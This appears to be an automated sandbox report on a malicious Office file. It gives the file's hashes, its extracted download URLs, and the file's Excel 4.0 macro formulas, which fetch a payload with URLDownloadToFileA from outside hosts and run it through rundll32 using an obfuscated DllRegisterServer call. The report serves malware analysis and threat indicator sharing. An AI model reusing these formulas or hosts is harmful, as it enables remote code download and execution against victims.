General
-
Target
?i=1laijjoqi
-
Size
99KB
-
MD5
d9840ff5aef4fcb1e822376f0cbd15ba
-
SHA1
f109110de7bb4691602099bb25ad64e7807194e7
-
SHA256
348096634dee34b5a2997542f31eba52bbff0f83680ac20e2c2c4030ec0b4baa
-
SHA512
6666d6935aafd3f12e9f1f57774d75e72eaa72fa03630a1cf426e7445820414602daeadda607a5fe55f3b5207763cf998e182bee359edcfa8d05cf1df6e99715
-
SSDEEP
1536:JAxhp20B+axURtKckrr9qZGrhD1GW+wZk4lHpuaI4qDVJal:uhHHxutKckrpqZGh+wrlJuaIjI
Malware Config
Extracted
http://shop.lambolero.com/iiwkjgp/eu7rH6/
http://api.task-lite.com/-/EYe3DEfcw7LCaU6T/
https://celhocortofilmfestival.stream/css/oQSBr44obE/
-
formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://shop.lambolero.com/iiwkjgp/eu7rH6/","..\ourl.ocx",0,0) =IF('EGGEGDGE'!B11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://api.task-lite.com/-/EYe3DEfcw7LCaU6T/","..\ourl.ocx",0,0)) =IF('EGGEGDGE'!B13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://celhocortofilmfestival.stream/css/oQSBr44obE/","..\ourl.ocx",0,0)) =IF('EGGEGDGE'!B15<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\ourl.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
?i=1laijjoqi